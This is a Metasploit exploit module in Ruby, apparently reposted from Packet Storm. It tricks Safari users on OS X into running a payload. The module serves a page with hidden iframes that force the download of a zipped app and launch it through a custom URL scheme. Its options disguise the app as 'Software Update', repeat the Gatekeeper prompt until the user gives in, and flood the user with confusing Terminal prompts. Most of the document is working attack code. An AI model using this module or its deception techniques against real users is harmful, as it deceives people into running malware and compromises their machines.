Safari User-Assisted Download / Run Attack

[Fi8sVrs]

This Metasploit module abuses some Safari functionality to force the download of a zipped .app OSX application containing our payload. The app is then invoked using a custom URL scheme. At this point, the user is presented with Gatekeeper's prompt: "APP_NAME" is an application downloaded from the internet. Are you sure you want to open it? If the user clicks "Open", the app and its payload are executed. If the user has the "Only allow applications downloaded from Mac App Store and identified developers (on by default on OS 10.8+), the user will see an error dialog containing "can't be opened because it is from an unidentified developer." To work around this issue, you will need to manually build and sign an OSX app containing your payload with a custom URL handler called "openurl". You can put newlines and unicode in your APP_NAME, although you must be careful not to create a prompt that is too tall, or the user will not be able to click the buttons, and will have to either logout or kill the CoreServicesUIAgent process.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::BrowserExploitServer

  # Note: might be nicer to do this with mounted FTP share, since we can
  # unmount after the attack and not leave a trace on user's machine.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Safari User-Assisted Download & Run Attack',
      'Description'    => %q{
        This module abuses some Safari functionality to force the download of a
        zipped .app OSX application containing our payload. The app is then
        invoked using a custom URL scheme. At this point, the user is presented
        with Gatekeeper's prompt:

        "APP_NAME" is an application downloaded from the internet. Are you sure you
        want to open it?

        If the user clicks "Open", the app and its payload are executed.

        If the user has the "Only allow applications downloaded from Mac App Store
        and identified developers (on by default on OS 10.8+), the user will see
        an error dialog containing "can't be opened because it is from an unidentified
        developer." To work around this issue, you will need to manually build and sign
        an OSX app containing your payload with a custom URL handler called "openurl".

        You can put newlines & unicode in your APP_NAME, although you must be careful not
        to create a prompt that is too tall, or the user will not be able to click
        the buttons, and will have to either logout or kill the CoreServicesUIAgent
        process.
      },
      'License'        => MSF_LICENSE,
      'Targets'        =>
        [
          [ 'Mac OS X x86 (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Mac OS X x64 (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X64,
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'Author'         => [ 'joev' ],
      'BrowserRequirements' => {
        :source  => 'script',
        :ua_name => HttpClients::SAFARI,
        :os_name => OperatingSystems::MAC_OSX,

        # On 10.6.8 (Safari 5.x), a dialog never appears unless the user
        # has already manually launched the dropped exe
        :ua_ver  => lambda { |ver| ver.to_i != 5 }
      }
    ))

    register_options([
      OptString.new('APP_NAME', [false, "The name of the app to display", "Software Update"]),
      OptInt.new('DELAY', [false, "Number of milliseconds to wait before trying to open", 2500]),
      OptBool.new('LOOP', [false, "Continually display prompt until app is run", true]),
      OptInt.new('LOOP_DELAY', [false, "Time to wait before trying to launch again", 3000]),
      OptBool.new('CONFUSE', [false, "Pops up a million Terminal prompts to confuse the user", false]),
      OptString.new('CONTENT', [false, "Content to display in browser", "Redirecting, please wait..."]),
      OptPath.new('SIGNED_APP', [false, "A signed .app to drop, to workaround OS 10.8+ settings"])
    ], self.class)
  end

  def on_request_exploit(cli, request, profile)
    if request.uri =~ /\.zip/
      print_status("Sending .zip containing app.")
      seed = request.qstring['seed'].to_i
      send_response(cli, app_zip(seed), { 'Content-Type' => 'application/zip' })
    else
      # send initial HTML page
      print_status("Sending #{self.name}")
      send_response_html(cli, generate_html)
    end
    handler(cli)
  end

  def generate_html
    %Q|
    <html><body>
    #{datastore['CONTENT']}
    <iframe id='f' src='about:blank' style='position:fixed;left:-500px;top:-500px;width:1px;height:1px;'>
    </iframe>
    <iframe id='f2' src='about:blank' style='position:fixed;left:-500px;top:-500px;width:1px;height:1px;'>
    </iframe>
    <script>
    (function() {
      var r = parseInt(Math.random() * 9999999);
      if (#{datastore['SIGNED_APP'].present?}) r = '';
      var f = document.getElementById('f');
      var f2 = document.getElementById('f2');
      f.src = "#{get_module_resource}/#{datastore['APP_NAME']}.zip?seed="+r;
      window.setTimeout(function(){
        var go = function() { f.src = "openurl"+r+"://a"; };
        go();
        if (#{datastore['LOOP']}) {
          window.setInterval(go, #{datastore['LOOP_DELAY']});
        };
      }, #{datastore['DELAY']});
      if (#{datastore['CONFUSE']}) {
        var w = 0;
        var ivl = window.setInterval(function(){
          f2.src = 'ssh://ssh@ssh';
          if (w++ > 200) clearInterval(ivl);
        }, #{datastore['LOOP_DELAY']});
      }
    })();
    </script>
    </body></html>
    |
  end

  def app_zip(seed)
    if datastore['SIGNED_APP'].present?
      print_status "Zipping custom app bundle..."
      zip = Rex::Zip::Archive.new
      zip.add_r(datastore['SIGNED_APP'])
      zip.pack
    else
      plist_extra = %Q|
        <key>CFBundleURLTypes</key>
        <array>
          <dict>
            <key>CFBundleURLName</key>
            <string>Local File</string>
            <key>CFBundleURLSchemes</key>
            <array>
              <string>openurl#{seed}</string>
            </array>
          </dict>
        </array>
      |

      my_payload = generate_payload_exe(:platform => [Msf::Module::Platform::OSX])
      Msf::Util::EXE.to_osx_app(my_payload,
        :app_name    => datastore['APP_NAME'],
        :plist_extra => plist_extra
      )
    end
  end
end

Safari User-Assisted Download / Run Attack ? Packet Storm